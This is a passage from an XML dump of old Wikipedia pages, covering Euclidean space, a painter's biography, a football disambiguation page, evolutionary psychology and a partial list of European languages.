This length function satisfies the required properties of a [[norm (mathematics)|norm]] and is called the '''Euclidean norm''' on '''R'''&lt;sup&gt;''n''&lt;/sup&gt;. The (interior) angle &amp;theta; between '''x''' and '''y''' is then given by
:&lt;math&gt;\theta = \cos^{-1}\left(\frac{\mathbf{x}\cdot\mathbf{y}}{\|\mathbf{x}\|\|\mathbf{y}\|}\right)&lt;/math&gt;
where cos&lt;sup&gt;&amp;minus;1&lt;/sup&gt; is the [[arccosine]] function.
Finally, one can use the norm to define a [[distance function]] (or [[Metric (mathematics)|metric]]) on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; in the following manner
:&lt;math&gt;d(\mathbf{x}, \mathbf{y}) = \|\mathbf{x} - \mathbf{y}\| = \sqrt{\sum_{i=1}^n (x_i - y_i)^2}.&lt;/math&gt;
The form of this distance function is based on the [[Pythagorean theorem]], and is called the '''[[Euclidean metric]]'''.

Real coordinate space together with the above Euclidean structure (dot product and the associated norm and metric) is called '''Euclidean space''' often denoted by '''E'''&lt;sup&gt;''n''&lt;/sup&gt;. (Many authors refer to '''R'''&lt;sup&gt;''n''&lt;/sup&gt; itself as Euclidean space, with the Euclidean structure being understood). The Euclidean structure on '''E'''&lt;sup&gt;''n''&lt;/sup&gt; gives it the structure of an [[inner product space]] (in fact a [[Hilbert space]]), a [[normed vector space]], and a [[metric space]].
==Alternative definition==
In fact, Euclidean space '''E'''&lt;sup&gt;''n''&lt;/sup&gt; is a real n-dimensional [[affine space]] such as its corresponding linear or [[vector space]] ( isomorphic to the linear or vector space '''R'''&lt;sup&gt;''n''&lt;/sup&gt; ) has an [[inner product]].

==Euclidean topology==

Since Euclidean space is a [[metric space]] it is also a [[topological space]] with the natural topology induced by the metric. The metric topology on '''E'''&lt;sup&gt;''n''&lt;/sup&gt; is called the '''Euclidean topology'''. A set is [[open set|open]] in the Euclidean topology [[if and only if]] it contains an [[open ball]] around each of its points. The Euclidean topology turns out to be equivalent to the [[product topology]] on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; considered as a product of ''n'' copies of the [[real line]] '''R''' (with its standard topology).

An important result on the topology of '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, that is far from superficial, is [[L. E. J. Brouwer|Brouwer]]'s [[invariance of domain]]. Any subset of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; (with its [[subspace topology]]) which is [[homeomorphic]] to another open subset of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is itself open. An immediate consequence of this is that '''R'''&lt;sup&gt;''m''&lt;/sup&gt; is not homeomorphic to '''R'''&lt;sup&gt;''n''&lt;/sup&gt; if ''m'' &amp;ne; ''n'' &amp;mdash; an intuitively &quot;obvious&quot; result which is nonetheless difficult to prove.

Euclidean ''n''-space is the prototypical example of an ''n''-[[manifold]], in fact, a [[smooth manifold]]. For ''n'' &amp;ne; 4, any differentiable ''n''-manifold that is [[homeomorphic]] to '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is also [[diffeomorphic]] to it. The surprising fact that this is not also true for ''n'' = 4 was proved by [[Simon Donaldson]] in [[1982]]; the counterexamples are called [[exotic 4-spaces |exotic]] (or ''fake'') 4-spaces.

Euclidean space is also known as ''linear manifold''. An ''m-dimensional linear submanifold'' of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is a Euclidean space of ''m'' dimensions embedded in it (as an [[affine subspace]]). For example, any straight line in some higher-dimensional Euclidean space is a 1-dimensional linear submanifold of that space.

==See also==

*[[Euclidean geometry]]
*[[Euclidean distance]]
*[[Minkowski space]]

[[Category:Euclidean geometry|*]]
[[Category:Linear algebra]]
[[Category:Topological spaces]]
[[Category:Norm]]

[[de:Euklidischer Raum]]
[[es:Espacio euclídeo]]
[[fr:Espace euclidien]]
[[ko:유클리드 공간]]
[[he:מרחב אוקלידי]]
[[io:Euklidana spaco]]
[[ja:ユークリッド空間]]
[[pl:Przestrzeń euklidesowa]]
[[ru:Евклидово поле]]
[[zh:欧几里德空间]]</text>
    </revision>
  </page>
  <page>
    <title>Electrical Potential</title>
    <id>9698</id>
    <revision>
      <id>15907569</id>
      <timestamp>2005-03-21T20:28:13Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Avoid dbl redir</comment>
      <text xml:space="preserve">#REDIRECT [[Electric potential]]</text>
    </revision>
  </page>
  <page>
    <title>Edmund Hoyle</title>
    <id>9699</id>
    <revision>
      <id>15907570</id>
      <timestamp>2004-07-03T22:51:03Z</timestamp>
      <contributor>
        <username>Netoholic</username>
        <id>41995</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Edmond Hoyle]]</text>
    </revision>
  </page>
  <page>
    <title>Edwin Austin Abbey</title>
    <id>9700</id>
    <revision>
      <id>39192848</id>
      <timestamp>2006-02-11T10:34:03Z</timestamp>
      <contributor>
        <ip>82.127.196.250</ip>
      </contributor>
      <comment>[[eo:Edwin Austin Abbey]]</comment>
      <text xml:space="preserve">{{expert}}
[[Image:Drawing of Edwin Austin Abbey.jpg|right|thumb|Edwin Austin Abbey]]
  &lt;div style=&quot;float:left;width:200px;&quot;&gt;
[[Image:SpiritofLight.JPG|left|thumb|''Spirit of Light'' by Abbey, [[Pennsylvania]] State Capitol rotunda, [[Harrisburg, Pennsylvania]].]]
[[Image:AllegoryofScience.JPG|left|thumb|Allegorical medal of ''Science'' by Abbey, [[Pennsylvania]] State Capitol, [[Harrisburg, Pennsylvania]].]]
&lt;/div&gt;
'''Edwin Austin Abbey''' ([[April 1]], [[1852]] &amp;ndash; [[August 1]], [[1911]]) was an American [[artist]], [[illustration|illustrator]], and [[painter]]. His most famous work, ''The Quest of the [[Holy Grail]]'', resides in the [[Boston Public Library]]. 

Though born in [[Philadelphia, Pennsylvania]], he moved to [[England]] in [[1878]]. The aforementioned work was finished in [[1902]] and is quintessential of his subject - historical (or pseudo-historical in this case). Another of his works marks the coronation of [[Edward VII of the United Kingdom|King Edward VII]] in the same year.  It was the official painting of the occasion and, hence, resides at [[Buckingham Palace]]. 

In 1908-1909, Abbey painted a number of [[mural]]s and other artworks for the [[rotunda]] of the new [[Pennsylvania]] State [[Capitol]] in [[Harrisburg, Pennsylvania]].  His works in that building include [[allegorical]] medallions representing ''Science'', ''Art'', ''Justice'', and ''Religion'', as well as large murals underneath the Capitol dome.

His work is [[melodramatic]] to modern eyes - though he was also a political illustrator for the journal ''[[Harper's Weekly]]''.

{{Wikisource1911Enc|Abbey, Edwin Austin}}

[[Category:1852 births|Abbey, Edwin Austin]]
[[Category:1911 deaths|Abbey, Edwin Austin]]
[[Category:American illustrators|Abbey, Edwin Austin]]
[[Category:American painters|Abbey, Edwin Austin]]

[[et:Edwin Austin Abbey]]
[[eo:Edwin Austin Abbey]]
[[pl:Edwin Austin Abbey]]
[[ru:Эбби, Эдвин Остин]]

{{US-painter-stub}}
{{illustrator-stub}}</text>
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  </page>
  <page>
    <title>English Football League</title>
    <id>9702</id>
    <revision>
      <id>15907573</id>
      <timestamp>2005-04-30T07:49:32Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding:de</comment>
      <text xml:space="preserve">'''English football league''' is not specific; it may refer to:

* The [[FA Premier League]] - the highest level of English football since 1992
* [[The Football League]] - the highest level of English football until 1992 and the second tier since
* The [[English football league system]] - the entire network of football leagues in England, of which the FA Premier League, Football League and many more are part

{{disambig}}

[[de:The Football League]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary psychology</title>
    <id>9703</id>
    <revision>
      <id>42160232</id>
      <timestamp>2006-03-04T05:29:59Z</timestamp>
      <contributor>
        <ip>71.246.25.218</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{psychology}}

'''Evolutionary psychology''' (abbreviated '''ev-psych''' or '''EP''') proposes [[psychology]] can be better understood in light of [[evolution]]. Though applicable to any [[organism]] with a [[nervous system]], most EP [[research]] focuses on [[humans]].

Specifically, EP proposes the [[brain]] comprises many functional [[Mechanism (science)|mechanisms]], called ''[[psychological adaptation]]s'' or ''evolved psychological mechanisms'' (EPMs), that evolved by [[natural selection]]. Uncontroversial examples of EPMs include [[vision (physiology)|vision]], [[hearing (physiology)|hearing]], [[memory]], and [[Motoneuron|motor control]]. More controversial examples include [[Westermarck effect|incest avoidance mechanisms]], [[Wason selection task|cheater detection mechanisms]], and [[sex]]-specific mating preferences, mating strategies, and spatial cognition. Most evolutionary psychologists argue that EPMs are universal in a [[species]], excepting those specific to [[sex]] or age.

Evolutionary psychology has roots in [[cognitive psychology]] and [[evolutionary biology]].  It also draws heavily on [[behavioral ecology]], [[artificial intelligence]], [[genetics]], [[ethology]], [[anthropology]], [[archeology]], [[biology]], and [[zoology]]. Evolutionary psychology is closely linked to [[sociobiology]], but there are key differences between them including the emphasis on ''domain-specific'' rather than ''domain-general'' mechanisms, the relevance of measures of current [[fitness (biology)|fitness]], the importance of mismatch theory, and psychology rather than behaviour. Many evolutionary psychologists, however, argue that the mind consists of both domain-specific and domain-general mechanisms, especially [[evolutionary developmental psychology| evolutionary developmental psychologists]]. Most sociobiological research is now conducted in the field of [[behavioral ecology]].

The term ''evolutionary psychology'' was probably coined by Ghiselin in his 1973 article in ''Science''. [[Jerome H. Barkow|Jerome Barkow]], [[Leda Cosmides]] and [[John Tooby]] popularized the term in their highly influential [[1992]] book ''[http://www.oup.com/us/catalog/general/subject/Psychology/Cognitive/?view=usa&amp;ci=0195101073 The Adapted Mind: Evolutionary Psychology and The Generation of Culture]''. Evolutionary psychology has been applied to the study of many fields, including [[economics]], [[aggression]], [[law]], [[psychiatry]], [[politics]], [[literature]], and [[reproduction|sex]].  

== General evolutionary theory ==
: ''Main article: [[Evolution]]

The idea that organisms are comprised of a number of parts that serve different functions (i.e., living things are, in some sense, machines) goes back at least to [[Aristotle]]. This idea is the foundation of modern medicine and biology. [[William Paley]], drawing upon the work of many others, argued convincingly that organisms are machines ''designed to function in particular environments''. Paley believed that this evidence of 'design' was evidence for a designer -- God. [[Charles_Darwin|Darwin]] appears to have been impressed with Paley's argument that organisms are designed for particular environments.  The theory of [[natural selection]], created by Darwin and [[Alfred_Russell_Wallace|Wallace]], provided a scientific account of the origins of functional design in the natural world that did not invoke a supernatural designer. 

Evolutionary psychology is ultimately rooted in the basic theoretical principles that underlie the behavior of all living things: evolutionary theory. In fact, evolutionary psychology can be best conceived not simply as a sub-discipline of psychology but as a way in which evolutionary theory can be used as a meta-theoretical framework within which to examine ''the entire field of psychology''. Evolutionary theory begins with the process of natural selection.

Natural selection involves three main ingredients:

* [[mutation|Variation]] refers to a state in which there exists a variety of traits within a population.
* [[Heritability]] refers to those traits that can be inherited via reproduction.
* [[Selection]] refers to those heritable traits that remain in and spread through a population because those traits ultimately aid the organism in survival or reproduction. 

Many traits that are selected for can actually hinder survival of the organism. Consider the classic example of the peacock's tail. It is metabolically costly, cumbersome, and essentially a &quot;predator magnet.&quot; What the peacock's tail does do is attract mates. Thus, the type of selective process that is involved here is what Darwin called ''[[sexual selection]]''. Sexual selection can be divided into two types:

* [[Intersexual selection]], which refers to the traits that one sex generally prefers in the other sex, (e.g. the peacock's tail).
* [[Intrasexual competition]], which refers to the competition among members of the same sex for mating access to the opposite sex, (e.g. two stags locking horns). 

Ultimately, no matter how much an organism reproduces, that organism dies, and it is genetic information that gets passed on from one generation to the next. Since it is genetic information that matters, there can also be selection pressures that favor the aid in survival and reproduction of an organism's genetic relatives, since they carry partial copies of varying degrees of an organism's genes. Such pressures are called [[kin selection]].

===Inclusive fitness===

[[Inclusive fitness]] theory, which was proposed by [[W.D. Hamilton|William D.Hamilton]] in 1964 as a revision to evolutionary theory, is basically a combination of natural selection, sexual selection, and kin selection. It refers to the the sum of an individual's own reproductive success plus the effects the individual's actions have on the reproductive success of their genetic relatives. General evolutionary theory, in its modern form, '''is''' essentially inclusive fitness theory. 

Inclusive fitness theory resolved the issue of how &quot;altruism&quot; evolved. The dominant, pre-Hamiltonian view was that altruism evolved via [[group selection]]: the notion that altruism evolved for the benefit of the group. The problem with this was that if one organism in a group incurred any fitness costs on itself for the benefit of others in the group, (i.e. acted &quot;altruistically&quot;), then that organism would reduce its own ability to survive and/or reproduce, therefore reducing its chances of passing on its altruistic traits. Furthermore, the organism that benefitted from that altruistic act and only acted on behalf of its own fitness would increase its own chance of survival and/or reproduction, thus increasing its chances of passing on its &quot;selfish&quot; traits.
Inclusive fitness resolved &quot;the problem of altruism&quot; by demonstrating that altruism can evolve via kin selection as expressed in [[Hamilton's rule]]:
:::&lt;math&gt;cost &lt; relatedness \times benefit&lt;/math&gt;
In other words, altruism can evolve as long as the fitness ''cost'' of the altruistic act on the part of the actor is less than the ''degree of genetic relatedness'' of the recipient times the fitness ''benefit'' to that recipient. 
This perspective reflects what is referred to as the [[gene-centered view of evolution]] and demonstrates that group selection is a very weak selective force. However, in recent years group selection has been making a comeback, (albeit a controversial one), as [[group selection#multilevel selection theory|multilevel selection]], which posits that evolution can act on many levels of functional organization, (including the &quot;group&quot; level), and not just the &quot;gene&quot; level.

==Middle-level evolutionary theories==

Middle-level evolutionary theories are theories that encompass broad domains of functioning. They are compatible with general evolutionary theory but not derived from it. Furthermore, they are applicable across species. During the early 1970's, three very  important middle-level evolutionary theories were contributed by then Harvard graduate student, [[Robert Trivers]]:

* The theory of [[reciprocal altruism]] demonstrates that altruism can arise amongst non-kin, as long as the recipient of the altruistic act reciprocates at a later date.

* [[Parental investment]] theory refers to the different levels of investment in offspring on the part of each sex. For example, females in any species are defined as the sex with the larger gamete. In humans, females produce approximately one large, metabolically costly egg per month, as opposed to the millions of relatively tiny and metabolically cheap sperm that are produced each day by males. Females are fertile for only a few days each month, while males are fertile every day of the month. Females also have a nine month gestation period, followed by a few years of lactation. Males' obligatory biological investment can be achieved with one copulatory act. Cosequently, females in our species have a significantly higher obligatory investment in offspring than males do, (though in some species, the opposite is true.) Because of this difference in parental investment between males and females, males and females face different adaptive problems in the domains of mating and parenting. Therefore, it is predicted that the higher investing sex will be more selective in mating, and the lesser investing sex will be more competitive for access to mates. Thus, sex differences are predicted to exist not because of maleness or femaleness per se, but because of different levels of parental investment.

* The theory of [[parent-offspring conflict]] rests on the fact that even though a parent and his/her offspring are 50% genetically related, they are also 50% genetically different. All things being equal, a parent would want to allocate their resources equally amongst their offspring, while each offspring may want a little more for themselves. Furthermore, an offspring may want a little more resources from the parent than the parent is willing to give. In essence, parent-offspring conflict refers to ''a conflict of adaptive interests'' between parent and offspring. 

However, if all things are not equal, a parent may engage in discriminative investment towards one sex or the other, depending on the ''parent's'' condition. Recall that females are the heavier parental investors in our species. Because of that, females have a better chance of reproducing at least once in comparison to males. Thus, according to the [[Trivers-Willard hypothesis]], parents in good condition are predicted to favor investment in sons, and parents in poor condition are predicted to favor investment in daughters.

==Products of the evolutionary process==

There are three products of the evolutionary process:

* [[Adaptation]]s are heritable, species-typical traits that, (in terms of fitness costs), are &quot;cost efficient&quot; and function to solve problems related to one's inclusive fitness. An example would be the umbilical cord.

* A [[spandrel#biology|by-product]] is a trait that has no adaptive value but is carried along by an adaptive trait. An example would be a belly button.

* Noise refers to random effects resulting from chance variation in the genes, environment, or development. An example would be the shape of a belly button. 

==Evolved psychological mechanisms: the core of evolutionary psychology== 
:''Main article: [[psychological adaptation|Evolved psychological mechnisms]]

Evolutionary psychology is based on the belief that, just like hearts, lungs, livers, kidneys, and immune systems, cognition has functional structure that has a genetic basis, and therefore has evolved by natural selection. Like other organs and tissues, this functional structure should be universally shared amongst a species, and should solve important problems of survival and [[reproduction]]. Evolutionary psychologists seek to understand [[psychological adaptation|psychological mechanisms]] by understanding the survival and reproductive functions they might have served over the course of evolutionary history.

Evolutionary psychologists subdivide the concept of psychological mechanisms into two general categories:
* ''Domain-specific'' mechanisms, which deal with recurrent adaptive problems over the course of human evolutionary history
* ''Domain-general'' mechanisms, which deal with evolutionary novelty

== The Environment of Evolutionary Adaptedness (EEA) ==
{{Main|Environment of Evolutionary Adaptedness}}

In order to understand the design and function of any mechanism, it is necessary to correctly identify the 'environment' the mechanism is intended to interact with.  It would be difficult to understand the design of a pipe wrench, for example, without understanding the properties of pipes and pipe-fittings.  This argument also applies to evolved mechanisms in the living world. It would be difficult, if not impossible, to understand the function of the lungs without understanding the properties of a gaseous oxygen atmosphere, or to understand the immune system without understanding the properties of pathogens. The environment that a mechanism evolved to interact with is termed the EEA of that mechanism.

EP argues that in order to understand an evolved ''psychological'' mechanism, one must similarly understand the properties of the environment that the psychological mechanism evolved to interact with. Sunlight is an essential aspect of the EEA of vision, for example.  For another example, the fact that women got pregnant and men did not is an essential aspect of the EEA of human mating preferences.

The EEA is not a single time or place. Rather, it is [[adaptation]]-specific. The EEA of the lungs is different from the EEA of vision is different from the EEA of the immune system is different from the EEA of mating preferences.

The term 'EEA' was coined by [[John Bowlby]] of [[attachment theory]] fame.  In the environment in which ducks evolved, the first moving being that a duckling was likely to see was its mother. A psychological mechanism that evolved to form an attachment to the first moving being would therefore properly function to form an attachment to the mother.  In novel environments, however, the mechanism can malfunction by forming an attachment to a dog or human instead.  It is an important prediction of EP that human psychology will similarly exhibit some such ''mismatches''. One convincing example is the fact that although cars kill over 40,000 people in US annually, whereas spiders and snakes kill only a handful, people nonetheless much more readily learn fear of spiders and snakes than they do fear of cars, guns, electric outlets, and other novel dangers. The most likely explanation is that spiders and snakes were a real threat to human ancestors, whereas cars and other novel dangers were not. There is thus a mismatch between our evolved fear learning psychology and the modern environment. (See [[Human evolution]])

== Controversies ==
{{POV-section}}
[[Animal behavior]] studies have long recognized the role of evolution; the application of evolutionary theory to human psychology, however, is controversial. There are many families of criticism of the idea.
 
===How knowable is the EEA?===
Some critics of evolutionary psychology claim that because little is known about [[Pleistocene|the evolutionary context in which humans developed]] (including population size, structure, lifestyle, eating habits, [[habitat (ecology)|habitat]], and more), there is little basis on which evolutionary psychology may operate.  Most EP research, the critics contend, is thus confined to certainties about the past, such as pregnancies only occurring in women, and that humans lived in groups.
 
Many evolutionary psychologists argue that this criticism is based on a misunderstanding. Evolutionary psychologists argue that they use knowledge of the environment of evolutionary adaptedness to generate [[hypotheses]] regarding possible psychological adaptations, and subsequently, these hypotheses can be tested and evaluated against the empirical evidence in just the same way that any other hypothesis generated from any other theoretical perspective can be assessed. 

Furthermore, evolutionary psychologists posit that there are many environmental features that we can be sure played a part in our species' evolutionary history. They argue that our [[hunter-gatherer]] ancestors most certainly dealt with predators and prey, [[foraging|food acquisition]] and sharing, mate choice, child rearing, interpersonal aggression, interpersonal assistance, diseases and a host of other fairly predictable challenges that constituted significant selection pressures. (For a strong outline of the current state of all our concrete knowledge in this area, see: Mithen, Steven. ''After The Ice: A Global Human History 20000-5000 BC''. Harvard Uni. Press, 2004).

However, there also exists debate ''within'' evolutionary psychology about the nature of the EEA. Many evolutionary psychologists contend that many aspects of the EEA were not as consistent as other evolutionationay psychologists would argue. This argument is used, therefore, to support the notion that the mind consists of not only domain-specific psychological mechanisms but of domain-general ones as well, that deal with environmental novelty.

===Falsifiability===
Critics claim that many of the propositions of evolutionary psychology are not [[falsifiability|falsifiable]] and thus label it as a [[pseudoscience]]. 

Evolutionary psychologists counter that this too is due to a fundamental misunderstanding. Evolutionary psychology, they argue, is a way of generating testable, (and thus falsifiable), hypotheses about the structure of the mind. Evolutionary psychologists contend that ''all'' of psychology makes predictions, (or assumptions), about the structure of the mind and that evolutionary psychology commits to a very specific causal relationship between the mind and the environment in which its design was selected, thus making evolutionary theory a source of highly specific, concrete, and falsifiable predictions.

===Biology vs. environment===  

Some studies have been criticized for their tendency to attribute to evolutionary processes elements of human cognition that may be attributable to social processes (e.g. preference for particular physical features in mates). 

Evolutionary psychologists respond that many traits have been shown to be universal in humans and that social processes are related to evolutionary processes. They argue that statements such as &quot;biology vs. environment&quot; and &quot;genes vs. culture&quot; amount to &quot;false dichotomies.&quot; Evolutionary psychologists justify this claim by arguing that behavior results from an organism ''interacting'' with its environment. Psychological mechanisms, they argue, are created by genes, (which, in turn, were selected for by the evolutionary process),and those mechanisms help the organism negotiate its environment. Furthermore, they assert that  many aspects of the environment, (e.g. culture and social institutions), are rested upon those mechanisms. In short, evolutionary psychologists argue that their is a ''bidirectional'' influence between things like &quot;biology and environment&quot; and &quot;cognition and social processes.&quot;

===Reductionism===
Some alternatives to evolutionary psychology maintain that elements of human behaviour are [[irreducible (philosophy)|irreducible]] to their component parts. By way of illustration, in the work of [[Peter Hobson]], human consciousness is identified as the product principally of intersubjective learning, albeit on a platform of emotional tools provided by [[human nature]]. As a social process, such a construction of minds would not be describable in the cellular components of individual organisms.  See [[Daniel Dennett]] for an elegant handling of this caricature of science (called [[greedy reductionism]]), which is not characteristic of any sophisticated [[philosophy of science]], including a science of psychology informed by evolutionary biology.

===Ethical justification===

Some people worry that evolutionary psychology will be used to justify harmful behavior, and have at times tried to suppress its study. They give the example that people may be more likely to cheat on their spouse if they believe their mind evolved to be that way.

Evolutionary psychologists respond by saying that they only state what is, not what ought to be.  Knowing how something works, they argue, is the first step in fixing it if it's broken, or changing how it works (if we should is a decision commonly left to [[philosophers]]). They further suggest that if people understand the system that &quot;makes&quot; them promiscuous - not for their happiness, not because it is right or moral, but because of the blind causal process of natural selection - they can become better consumers of their own consciousness, and other people may be able to use this understanding to intervene and change their behaviour. 

Evolutionary psychologists contend that understanding evolutionary psychology does not entail taking a moral viewpoint on people's behaviour, any more than understanding how cancer works condones its existence. (see [[naturalistic fallacy]])

A recent hypothesis about the nature of the human condition (our capacity for good and evil) is based on the approach of evolutionary biology. [[Jeremy Griffith]] asks the question “what happened in human evolution when the intellect evolved to the level where it could take control from the instincts”. This hypothesis is explored in a controversial book entitled [[A Species in Denial]], but it´s fair to say that Carl Sagan won the Pulitzer with the same idea (explayed twenty years before) in his book &quot;Dragons of Eden&quot;.

== Image gallery ==
&lt;gallery&gt;
Image:Leda Cosmides.jpg|Leda Cosmides
Image:John Tooby.jpg|John Tooby
Image:StevePinker.jpg|Steven Pinker
Image:RDawkins.jpg|Richard Dawkins
&lt;/gallery&gt;

==References==

* Barkow, Jerome; Cosmides, Leda; Tooby, John (1992) ''The Adapted Mind: Evolutionary Psychology and The Generation of Culture'' ISBN 0-19-510107-3.

* Buss, David, ed. (2005) ''The Handbook of Evolutionary Psychology''. ISBN 0471264032.

* Buss, D.M. (2004). [http://www.ablongman.com/catalog/academic/product/0,1144,0205370713-TOC,00.html '''Evolutionary Psychology: The New Science of the Mind.'''] Boston: Pearson Education, Inc.

* Ghiselin, Michael T. (1973). Darwin and Evolutionary Psychology. ''Science'' '''179''': 964-968.

== See also ==

* [[Behavioural genetics]]
* [[Dual inheritance theory]]
* [[Evolutionary developmental psychology]]
* [[Human behavioral ecology]]
* [[List of evolutionary psychologists]]
* [[List of publications on evolution and human behavior]]

== External links ==

* [http://www.hbes.com Human Behavior and Evolution Society (HBES)]- The main academic society of evolutionary psychology researchers 
* [http://www.psych.ucsb.edu/research/cep/primer.html Evolutionary Psychology: A Primer]
* [http://www.anth.ucsb.edu/projects/human/evpsychfaq.html The Evolutionary Psychology FAQ]
* [http://www.psych.ucsb.edu/research/cep/ Center for Evolutionary Psychology]
* [http://www-personal.umich.edu/~kruger What is Evolutionary Psychology?] -A brief introduction to several areas in the field
* Evolutionary Psychology by Russil Durrant and Bruce J. Ellis  [http://media.wiley.com/product_data/excerpt/38/04713840/0471384038.pdf#search='evolutionary%20psychologypdf']
* [http://www.sciencedirect.com/science/journal/10905138 Evolution and Human Behavior] - The main academic journal of evolutionary psychology
* [http://www.archaeoworld.com/journals/humanNature/ Human Nature] - Another academic journal devoted to EP
* [http://human-nature.com/ep/ Evolutionary Psychology] - An open access [[peer-review]]ed journal
* [http://www.human-nature.com Human Nature Review]
* [http://itb.biologie.hu-berlin.de/~hagen/papers/Controversies.pdf ''Controversies Surrounding Evolutionary Psychology''] ([[PDF]])
* Buss reprints: [http://homepage.psy.utexas.edu/homepage/Group/BussLAB/publications.htm]
* Cosmides and Tooby reprints: [http://www.psych.ucsb.edu/research/cep/publist.htm]
* Daly, Wilson, et. al. reprints: [http://psych.mcmaster.ca/dalywilson/pubs.html]
* Geary reprints: http://web.missouri.edu/~psycorie/
* [http://human-brain.org/evolpsy2.html Harsh criticism of Evolutionary Psychology]
* [http://www.wilderdom.com/personality/L7-1EvolutionaryPsychology.html Evolutionary psychology: Psychological aspects of human evolution]
* [[Evolutionary developmental psychology]] [http://www.missouri.edu/~psycorie/EvoDevPsy.pdf#search='evolutionary%20developmental%20psychology'] &amp; [http://bernard.pitzer.edu/~dmoore/psych199s03articles/Bjorklund.pdf#search='evolutionary%20developmental%20psychology']
* [http://pinker.wjh.harvard.edu/articles/media/2004_10_29_religion.htm Evolutionary Psychology of Religion] by [[Steven Pinker]]

[[Category: Branches of psychology]]
[[category:Evolutionary biology|psychology]]
[[Category:Evolutionary psychology| ]]
[[Category: Psychology]]

[[bn:বিবর্তনবাদী মনস্তত্ত্ববিদ্যা]]
[[da:Evolutionær psykologi]]
[[de:Evolutionäre Psychologie]]
[[es:Psicología evolucionista]]
[[fr:Psychologie évolutionniste]]
[[ko:진화심리학]]
[[he:פסיכולוגיה אבולוציונית]]
[[hu:Evolúciós pszichológia]]
[[nl:Evolutionaire psychologie]]
[[pl:Psychologia ewolucyjna]]
[[fi:Evoluutiopsykologia]]
[[sv:Evolutionspsykologi]]</text>
    </revision>
  </page>
  <page>
    <title>European languages</title>
    <id>9705</id>
    <revision>
      <id>41633509</id>
      <timestamp>2006-02-28T17:52:07Z</timestamp>
      <contributor>
        <username>Arne List</username>
        <id>49991</id>
      </contributor>
      <minor />
      <comment>/* [[North Germanic language|North Germanic]] */</comment>
      <text xml:space="preserve">Most of the many [[indigenous]] [[language]]s of [[Europe]] belong to the [[Indo-European languages|Indo-European]] [[language family]]. The scope of this article also includes languages spoken outside of continental Europe that linguistically belong to European language families (such as ''[[Afrikaans language|Afrikaans]]'', ''[[Pennsylvania German language|Pennsylvania German]]'' and ''[[Persian language|Persian]]'').

== [[Basque language|Basque]] ==
The Basque language of the northern [[Iberian Peninsula]] is a [[language isolate]], and as such is not closely related to any other language. 

== [[Finno-Ugric languages]] ==
The Finno-Ugric languages are a subfamily of the [[Uralic languages|Uralic language family]].

* [[Estonian language|Estonian]]
* [[Finnish (language)|Finnish]]
* [[Hungarian language|Hungarian]]
* [[Ingrian language|Ingrian]]
* [[Karelian language|Karelian]]
* [[Khanty language|Khanty]]
* [[Komi-Zyrian language|Komi]]
* [[Livonian language|Livonian]]
* [[Mansi language|Mansi]]
* [[Mari language|Mari]] 
* [[Mordvin language|Mordvin]]
* [[Komi-Permyak language|Permian]]
* [[Sami languages|Sami]]
* [[Udmurt language|Udmurt]]
* [[Veps language|Veps]]
* [[Võro language|Võro]]
* [[Votic language|Votic]]

== [[Indo-European languages]] ==
Most European languages are Indo-European languages. This large language-family is descended from a common language that was spoken thousands of years ago, which is referred to as ''[[Proto-Indo-European language|Proto-Indo-European]]''.
&lt;blockquote&gt;
=== [[Albanian language|Albanian]] ===

=== [[Armenian language|Armenian]] ===

=== [[Baltic languages]] ===
* [[Curonian language|Curonian]]
* [[Latgalian language|Latgalian]]
* [[Latvian language|Latvian]]
* [[Lithuanian language|Lithuanian]]

=== [[Celtic languages]] ===
&lt;blockquote&gt;
==== [[Brythonic]] ====

* [[Cornish language|Cornish]] - revived
* [[Cumbrian language|Cumbric]] - extinct
* [[Breton language|Breton]]
* [[Welsh language|Welsh]]

==== [[Goidelic]] (Gaelic) ====

* [[Irish language|Irish]]
* [[Manx language|Manx]]
* [[Scottish Gaelic language|Scottish Gaelic]]
&lt;/blockquote&gt;

=== [[Germanic language]]s ===
&lt;blockquote&gt;
==== [[North Germanic language|North Germanic]] ====
(descending from [[Old Norse]])
* West (Insular) Scandinavian
** [[Icelandic language|Icelandic]]
** [[Faroese language|Faroese]]
** [[Norn language|Norn]] (extinct)
* East (Continental) Scandinavian
** [[Danish language|Danish]]
** [[Norwegian language|Norwegian]] (Norwegian Bokmål)
** [[Swedish (language)|Swedish]]

==== [[West Germanic language|West Germanic]] ====
* [[High Germanic languages]]
** German
*** Middle German
**** East Middle German
***** [[German language|Standard German (Hochdeutsch, ''High German'')]]
**** [[Luxembourgeois language|Luxembourgeois]]
**** West Middle German
***** [[Pennsylvania German language|Pennsylvania German]] (spoken by the [[Amish]] and other groups in southeastern [[Pennsylvania]])
*** Upper German
**** [[Swiss German]], [[Austrian language|Austrian]], etc
**** [[Alsatian language|Alsatian]]
**** [[Hutterite German]] (aka &quot;Tirolean&quot;)
** [[Yiddish language|Yiddish]] 
* [[Low Germanic languages]]
** [[Low Franconian languages|Low Franconian]]
*** [[Afrikaans language|Afrikaans]] 
*** [[Dutch language|Dutch]]
*** [[West Flemish]]
** [[Low German]]
*** [[West Low German]]
*** [[East Low German]]
*** [[Rhinelandic]]
**** [[Limburgisch]]
**** [[Plautdietsch]] ([[Mennonite]] Low German)
* [[Anglo-Frisian languages|Anglo-Frisian]]
**[[Frisian language|Frisian]]
***[[West Frisian language|West Frisian]]
***[[Saterland Frisian language|Saterland Frisian]]
***[[North Frisian language|North Frisian]]
** [[Anglic languages|Anglic]] (descending from [[Old English language|Anglo-Saxon]])
*** [[English language|Modern English]]
*** [[Scots language|Modern Scots]]

==== [[East Germanic language|East Germanic]] ====
(descending from [[Gothic language|Gothic]])
* [[Burgundians|Burgundian]] (extinct)
* [[Crimean Gothic language|Crimean Gothic]] (extinct in the [[1800s]])
* [[Lombardic language|Lombardic]] (extinct)
* [[Vandalic language|Vandalic]] (extinct)
&lt;/blockquote&gt;

=== [[Greek language|Greek]] ===

=== [[Italic languages]] ===

